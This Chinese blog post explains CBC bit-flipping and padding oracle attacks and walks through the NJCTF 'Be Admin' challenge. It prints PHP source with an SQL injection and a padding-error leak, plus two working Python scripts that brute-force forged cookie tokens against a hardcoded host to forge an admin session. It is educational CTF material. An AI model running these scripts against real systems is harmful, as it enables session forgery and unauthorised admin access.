CBC字节翻转攻击解析

2023-11-05

CBC字节翻转攻击解析

一、分组密码的模式

分组密码的主要模式有5种:

  1. ECB模式(电子密码本模式)—(Electronic CodeBook mode)
  2. CBC模式(密码分组链接模式)—(Cipher Block Chaining mode)
  3. CFB模式(密文反馈模式)—(Cipher FeedBack mode)
  4. OFB模式(输出反馈模式)—(Output FeedBack mode)
  5. CTR模式(计数器模式)—(CounteR mode)

这里只详细介绍CBC密码分组链接模式:通过下图简要介绍

image-20200808220903785

首先,我们给定一组明文,我们按照AES或者DES加密标准,将数据分成几块,每一块的大小可以是16字节,32字节等(将文明分为上面图示的明文分组)

然后我们给定一个长度和分组相同的初始化向量(IV),与每一块明文分组进行异或操作,将得到的数据通过密钥加密,得到密文分组。得到的当前一块的密文分组作为下一个块加密的初始化向量。(如图所示)

二、CBC字节翻转攻击

该攻击,可以使我们在已知密文的情况下,控制明文为我们想要的数据。(后面介绍的padding oracle attack不仅可以控制明文,还可以获取明文数据)

image-20200808220903785

还是通过上面的图来介绍,这里探究一下解密的过程:(从后往前)

例如,通过正常的解密,我们要得到明文分组4,应该怎么做:

将密文分组4解密后与密文分组3异或,便得到明文分组4

(这里稍微介绍一下异或的性质,例如A异或B得到C,那么C异或B也会得到A)

因为我们一般情况下,都会知道密文。我们可以任意修改密文分组3,当他与密文分组4解密后的那一部分异或后,那么得到的明文分组就与之前的不同。

(我们可以尽量尝试构造密文分组的每一位------因为我们知道异或是位的运算)

到这里,我们就可以伪造明文分组4为我们想要构成的数据(尽管我们不知道密文分组4的解密密钥是什么,但我们仍然可以任意构造明文分组4)

同理,明文分组3、明文分组2我们都可以通过前一个密文分组来自定义构造我们想要的值(至于第一部分,如果我们知道最初的初始化向量IV,那么也是可以构造的)

三、Padding Oracle Attack攻击

首先介绍一下数据块的填充规则,常见的有PKCS #5和PKCS #7分别填充的是8字节分组和16字节分组。

例如我们采用PKCS #7的填充方式,给定一串明文"m1sn0w",长度为6,因为PKCS #7填充的是16字节组分,所有需要填充10个字节,让填充的字节是16的整数倍。那么填充的字符是什么?答案是0x0a(16进制表示的10)

以此类推:

如果明文长度为15,我们需要填充一个字节0x01
如果明文长度为14,我们需要填充两个个字节0x02

这里特别需要注意的是:如果明文长度为16的整数字节长,它也需要填充
它会一次填充16位,且填充的字符为0x10

下面介绍一下关于Padding Oracle Attack攻击的一些条件。

首先需要介绍的是一般对于CBC模式的解密,有几种判断情况:

1、正常解密,得到明文

2、解密成功,但是解密得到的和明文不匹配

3、解密错误,抛出异常

这里要特别提一下解密错误:当我们第一串密文进行CBC模式的解密的时候,解密完成以后,程序会通过最后解密出来的明文的填充符来判断是否解密成功。

例如:

如果解密出来的明文最后的1位填充符为0x01,那么程序判定解密成功

相反,如果解密出来只有最后一位为0x02,那么程序会判断解密错误(因为我们知道,如果填充符为0x02,那么应该是最后两位为0x02)

在Web应用程序中,我们通常会有三种逻辑判断。(例如加密数据用于cookie)

1、如果cookie正常解密,且明文匹配,那么我们可以直接进入网页

2、cookie正常解密,但是解密出来的明文不符合,仍然不可以登录

3、cookie解密错误,抛出500错误

如果网页存在以上情况,就可能存在padding oracle attack攻击,那么该攻击如何实现?

这里利用的还是上面介绍到的CBC翻转攻击,还是用该图示来介绍:

image-20200808220903785

我们知道,构造密文分组3,可以任意构造出明文分组4的值。

通过上面的三种逻辑判断,如果我们构造密文分组3的最后一位,通过试探穷举,明文分组4的最后一位总会得到0x01的。

假设我们处在上方的Web应用程序环境中,只有正确构造出密文分组3的最后一位,使明文分组4的最后一位为0x01,那么程序才不会返回500的错误。

然后我们将密文分组3的最后一位与0x01异或,便得到密文分组4解密后的最后一位的值(通过异或的性质得到)

如此循环:

通过第一步,我们得到最后一位的中间值,然后我们构造密文分组3的倒数第二个和倒数第一个(倒数第一个就比较好构造,因为我们已经知道了中间值),使明文分组4的最后两个为0x02,从而我们就可以得到倒数第二位的中间值(依次重复,构造0x03,0x04,最终我们将得到所有密文分组通过解密后的这一串中间值)

那么想要得到明文数据就很简单了,因为我们已经知道了中间值,又知道了密文,只需要进行相应的异或,便可以得到明文数值。

四、NJCTF Web Be Admin

该题是一个padding oracle attack攻击的比较典型的一个例子。

(复现的源代码在github上直接就可以搜到)

拿到改题目,通过文件备份,拿到源码:

<?php
include 'config.php';
error_reporting(0);
define("SECRET_KEY", "this_is_key_you_do_not_know");
define("METHOD", "aes-128-cbc");

session_start();

function get_random_token(){
    $random_token='';
    for($i=0;$i<16;$i++){
        $random_token.=chr(rand(1,255));
    }
    return $random_token;
}

function get_identity()
{
    global $defaultId;
    $j = $defaultId;
    $token = get_random_token();
    $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("ID", base64_encode($c));
    setcookie("token", base64_encode($token));
    if ($j === 'admin') {
        $_SESSION['isadmin'] = true;
    } else $_SESSION['isadmin'] = false;

}

function test_identity()
{
    if (!isset($_COOKIE["token"]))
        return array();
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            } else $_SESSION['isadmin'] = false;
        } else {
            die("ERROR!");
        }
    }
}

function login($encrypted_pass, $pass)
{
    $encrypted_pass = base64_decode($encrypted_pass);
    $iv = substr($encrypted_pass, 0, 16);
    $cipher = substr($encrypted_pass, 16);
    $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    
    return $password == $pass;
}



function need_login($message = NULL) {
    echo "   <!doctype html>
        <html>
        <head>
        <meta charset=\"UTF-8\">
        <title>Login</title>
        <link rel=\"stylesheet\" href=\"CSS/target.css\">
            <script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script>
        </head>
        <body>";
    if (isset($message)) {
        echo "  <div>" . $message . "</div>\n";
    }
    echo "<form method=\"POST\" action=''>
            <div class=\"body\"></div>
                <div class=\"grad\"></div>
                    <div class=\"header\">
                        <div>Log<span>In</span></div>
                    </div>
                    <br>
                    <div class=\"login\">
                        <input type=\"text\" placeholder=\"username\" name=\"username\">
                        <input type=\"password\" placeholder=\"password\" name=\"password\">               
                        <input type=\"submit\" value=\"Login\">
                    </div>
                     <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
            </form>
        </body>
    </html>";
}

function show_homepage() {
    echo "<!doctype html>
<html>
<head><title>Login</title></head>
<body>";
    global $flag;
    printf("Hello ~~~ ctfer! ");
    if ($_SESSION["isadmin"])
        echo $flag;
    echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";

}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    $query = "SELECT username, encrypted_pass from users WHERE username='$username'";
    $res = $conn->query($query) or trigger_error($conn->error . "[$query]");
    if ($row = $res->fetch_assoc()) {
        $uname = $row['username'];
        $encrypted_pass = $row["encrypted_pass"];
    }
    
    if ($row && login($encrypted_pass, $password)) {
        echo "you are in!" . "</br>";
        get_identity();
        show_homepage();
    } else {
        echo "<script>alert('login failed!');</script>";
        need_login("Login Failed!");
    }

} else {
    test_identity();
    if (isset($_SESSION["id"])) {
        show_homepage();
    } else {
        need_login();
    }
}

简单审计之后,大致的利用过程如下:

1、通过sql的union注入,登录进去,获取到SESSION['id']的值

	登录过后,会返回cookie的token值

2、然后我们通过test_identity函数,进行padding oracle attack攻击

这里主要介绍一下test_identity函数:

function test_identity()
{
    if (!isset($_COOKIE["token"]))
        return array();
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            } else $_SESSION['isadmin'] = false;
        } else {
            die("ERROR!");
        }
    }
}

其中,实施攻击的部分主要是在这里:

if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"])))

我们不知道SECRET_KEY,也就是密钥,也不知道 c 明 文 , 但 是 , 我 们 可 以 控 制 c明文,但是,我们可以控制 c_COOKIE[“token”],并且他在这里作为了初始化向量IV

(该题目正好符合我们所假设的Web环境,如果解密出错,die(“ERROR”))

那么我们就可以通过不断的构造$_COOKIE[‘token’]的值,最终伪造出一个明文,其值为admin0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b

下面给出一个自己写的脚本:

import base64
import requests
from binascii import a2b_hex
import urllib

def deal_hex(index):
    tmp = hex(index)
    if index > 15:
        return a2b_hex(tmp[2:])
    else:
        return a2b_hex('0'+tmp[2:])

def padding(token,pad):
    tmp_token = token
    if len(middle_value) != 0:
        for index in middle_value:
            tmp_token += deal_hex(index ^ pad)
    return tmp_token


url = "http://121.41.113.245:8085/"
token = "A0KKqNuqv5jpnfe62FGFpw%3D%3D"
urldeal = urllib.parse.unquote(token)
tokens = base64.b64decode(urldeal)

middle_value = []
for j in range(16):
    change = j + 1
    tmp_index = 16-j-1
    tmp_token = tokens[0:tmp_index]
    for i in range(0, 255):
        ch = deal_hex(i)
        # print(len(tokens[0:15] + ch))
        newtoken = padding(tmp_token+ch,change)
        newtoken = urllib.parse.quote(str(base64.b64encode(newtoken),encoding='utf-8'))
        #print(newtoken)
        # print(newtoken)
        header = {
            "Cookie": "PHPSESSID=fhgkecm8p2dr0meg854g728706;ID=riMd%2FSaFOw%2BDBDOkLkGukw%3D%3D;token=" + newtoken
        }
        r = requests.post(url, headers=header)
        if "ERR" not in r.text:
            middle_value.insert(0,change ^ i)
            print(middle_value)
            break

该脚本获取中间值(也就是密文解密的那一部分值)—(此脚本存在一点点缺陷,不能获取第一位的中间值,所以使用下面的脚本直接对第一个值进行爆破)

import requests
import base64
from binascii import a2b_hex
import urllib

def deal_hex(index):
    tmp = hex(index)
    if index > 15:
        return a2b_hex(tmp[2:])
    else:
        return a2b_hex('0'+tmp[2:])
url = "http://121.41.113.245:8085/"
inin_iv = [0, 83, 130, 178, 193, 170, 191, 152, 233, 157, 247, 186, 216, 81, 133, 173]
for i in range(0,255):
    inin_iv[0] = i
    token = b''
    for i in inin_iv:
        token += deal_hex(i)
    newtoken = urllib.parse.quote(str(base64.b64encode(token),encoding='utf-8'))
    header = {
        "Cookie": "PHPSESSID=fhgkecm8p2dr0meg854g728706;ID=riMd%2FSaFOw%2BDBDOkLkGukw%3D%3D;token=" + newtoken
    }
    r = requests.post(url, headers=header)
    if "{" in r.text:
        print(r.text)


其中的inin_iv是第一个脚本获取的值与要构造的明文的异或的值。

最终得到flag

<!doctype html>
<html>
<head><title>Login</title></head>
<body>Hello ~~~ ctfer! CTFTraining{CoColi_has_to_work_hard}<div><a href="logout.php">Log out</a></div>
</body>
</html>

参考链接:

https://www.freebuf.com/articles/database/151167.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CBC字节翻转攻击解析 的相关文章

  • 命令执行_代码执行漏洞

    远程代码注入漏洞 原理 攻击者可利用代码注入漏洞执行任意代码 来操作服务器 危害 执行任意代码 来操作服务器 操作数据库 插入恶意数据 可能获取 系统权限 攻击修改系统配置 修改网络配置 可能对 服务器及网络造成影响 可以进一步对网络渗透
  • linux scp服务器之间文件复制

    scp是secure copy的简写 用于在Linux下进行远程拷贝文件的命令 和它类似的命令有cp 不过cp只是在本机进行拷贝不能跨服务器 而且scp传输是加密的 命令格式 scp 参数 源路径 目的路径 如果目的地址存在相同的文件 将会
  • kali设置中文输入法

    修改国内源 下载输入法包 sudo apt get install ibus ibus pinyin 进入设置 sudo im config 选择ibus 其他选择默认选项 重启
  • 无人车之父Sebastian Thrun:技术小白,也能从零开始造一辆无人车!

    在最近召开的世界教育创新峰会上 Google无人车之父 优达学城创始人 Sebastian Thrun 说道 无人驾驶技术已经开始风靡世界 每一个人都有机会参与到这场技术革命中来 成为改变世界的催化剂 他还表示 即使你是技术小白 也能从零开
  • 【见刊通知】ISEEIE 2022 & COMSE 2022已见刊,请自行查看见刊链接 ~

    见刊通知 CoMSE 2022 喜讯 2022年材料科学与工程国际会议论文集已于8月10日见刊 相关链接已发送至各位作者邮箱 请注意查看 ISEEIE 2022 喜讯 2022年电气 电子与信息工程国际会议论文集已于8月18日见刊 相关链接
  • vue国际化-vue-i18n的配置

    1 前提基础 对vue js vuex等有基本的了解 element国际化配置 2 安装依赖 npm i S element ui vue i18n js cookie 复制代码 安装js cookie是为了将当前选择的语言保存并在下一次打

随机推荐

  •  Error:Cannot build Artifact :war exploded because it is included into a circular depency报错的解决方案

    Error Cannot build Artifact war exploded because it is included into a circular depency 报错 解决方案 上述错误的大致意思是陷入一个循环的依赖 造成该错
  • vue 使用table2excel导出excel表格(带图片)

    如想要实现导出功能 并且可以导出图片 如下图效果 下面直接上步骤 下载安装插件 安装命令 npm install js table2excel 引入插件 在需要用到的页面引入插件 如下图 使用插件 直接上代码 onBatchExport方法
  • java项目部署到linux系统上出现java.lang.OutOfMemoryError: PermGen space错误

    http blog csdn net wyzfairy article details 37879509 今天一个之前运行没问题 在本地测试页没问题的Java项目部署到Linux系统之后 在登录时出现java lang OutOfMemor
  • Web前端-Vue ElementUI点击Table 索引行获取index处理

    需求 在table中row行 index 0 作为区头 数据字符展示 参考组件 Element The world s most popular Vue UI framework 1 table中有一个 row class name tab
  • git显示不出绿色的小图标的解决方法

    大家好 我是曜耀 今天我来为大家讲解一下 电脑安装git显示不了绿色的小图标的问题 对于刚刚安装了git的我们 有一部分会遇到在操作过程 win会显示不出 git该用的图标 对此我们会很烦恼 我也是其中一员 不过我在网上找了很多解决的方法
  • android版本下载地址 http,Android ADT下载地址(含各版本)

    Android ADT下载地址 含各版本 2019年12月04日 阅读数 26 这篇文章主要向大家介绍Android ADT下载地址 含各版本 主要内容包括基础应用 实用技巧 原理机制等方面 希望对大家有所帮助 ADT百度云下载连接 含各版
  • 服务器:在腾讯轻量级服务器上传jar包并运行jar

    前言 本期项目使用springboot开发 最终将项目生产的jar包需要上传至云服务器运行 方便自己的小程序端和web端去访问 本文将jar包的运行与主要命令进行说明 jar包生成 项目打包前 需要保证其正确性 最好先运行后在打包 具体的打
  • 针对 微信小程序 的 getUserInfo 接口废弃,不能弹出授权窗口的问题

    getUserInfo 接口废弃说明 官方给出的废弃getUserInfo接口的通知链接 小程序登录 用户信息相关接口调整说明 废弃时间 2021年4月28日以后 废弃后的使用情况 无法通过wx getUserInfo与
  • 从输入网址到页面呈现的详细过程

    面试题经典题目 简要回答如下 a 域名解析 b 发起TCP连接的三次握手 c 建立TCP连接后发起http请求 d 服务端响应http请求 返回响应报文 e 浏览器页面渲染 f 断开TCP连接 下面详细介绍 a 域名解析 DNS解析 当在浏
  • 计算机上的无线网络开关怎么打开,联想笔记本无线网络开关怎么打开

    当我们买到笔记本电脑的时候 我们会不会就会急着想上网看一下呢 女生会选择第一时间追一下剧 男生呢 就会想下载一个游戏来刺激一下 那消费者知不知道无线网络开关是怎么开的吗 下面小编就给大家说说联想笔记本无线网络开关怎么打开 打开无线网络开关的
  • 开发人员谈测试:如何写出简洁又规范的单元测试

    文章转载链接 http www 51testing com html 83 n 4480883 html 我们之前谈到过要让开发人员认识到测试的重要性并了解测试 本文的主要重点是针对日常开发阶段工程师可以做的事情 也就是单元测试而展开 编写
  • 分布式锁看这篇就够了

    https blog csdn net tzs 1041218129 article details 80086991 关注我 转载请务必注明原创地址为 http www 54tianzhisheng cn 2018 04 24 Distr
  • STM32外设系列—HC-05(蓝牙)

    文章目录 一 蓝牙简介 二 使用方法 2 1 接线 2 2 AT指令 三 蓝牙APP 四 实战项目 4 1 添加文件 4 2 配置需要传递的参数 4 3 获取返回值 4 4 发送光照强度 4 5 控制程序 4 6 手机端页面设计 4 6 1
  • python的学习心得与知识总结

    1 字符串格式化表达式 作用 生成一定格式的字符串 运算符 语法格式 格式字符串 参数值 或 格式字符串 参数值1 参数值2 参数值3 说明 左侧为格式格式字符串 右侧为参数值 当有多个参数值时用 括号 括起来 并用逗号 隔开 格式化字符串
  • 基于java的饮食分享平台系统毕业设计(源代码+数据库+部署文档+部署视频)

    摘要 本篇论文主要介绍了基于Java的饮食分享平台系统的设计与实现 通过对现有饮食分享平台的分析和用户需求的调研 本设计采用Java语言进行系统开和编码 首先分析了饮食分享平台的背景和相关知识 然后提出了系统的需求和设计方案 接着详细介绍了
  • 自定义解密注解

    在开发中 有时候会遇到前端body加密 后端解密操作 接下来用注解实现 1 新增DecodeRequestBodyAdvice类 package com xx advice import lombok extern slf4j Slf4j
  • 图卷积 节点分类_了解图卷积网络以进行节点分类

    图卷积 节点分类 Neural Networks have gained massive success in the last decade However early variants of Neural Networks could
  • 如何学习数学分析

    如何学习数学分析 数学分析的研究定位 一直以来都是书到用时方恨少 刚毕业那会学的是计算机 从事算法工程师岗位 然后基础人工智能算法 在遗传BP 神经网络 旅行商问题上接触了很多数学知识 到后来的机器人导航工程师又做了路径规划 设计到视觉SL
  • 1.pwn基础总结

    基本概念 exploit 用于攻击的脚本与方案 通常缩写为exp payload 攻击载荷 是的目标进程被劫持控制流的数据 shellcode 调用攻击目标的shell的代码 打开目标的shell 获取目标控制权 pwn解题基本流程 che
  • CBC字节翻转攻击解析

    CBC字节翻转攻击解析 一 分组密码的模式 分组密码的主要模式有5种 ECB模式 电子密码本模式 Electronic CodeBook mode CBC模式 密码分组链接模式 Cipher Block Chaining mode CFB模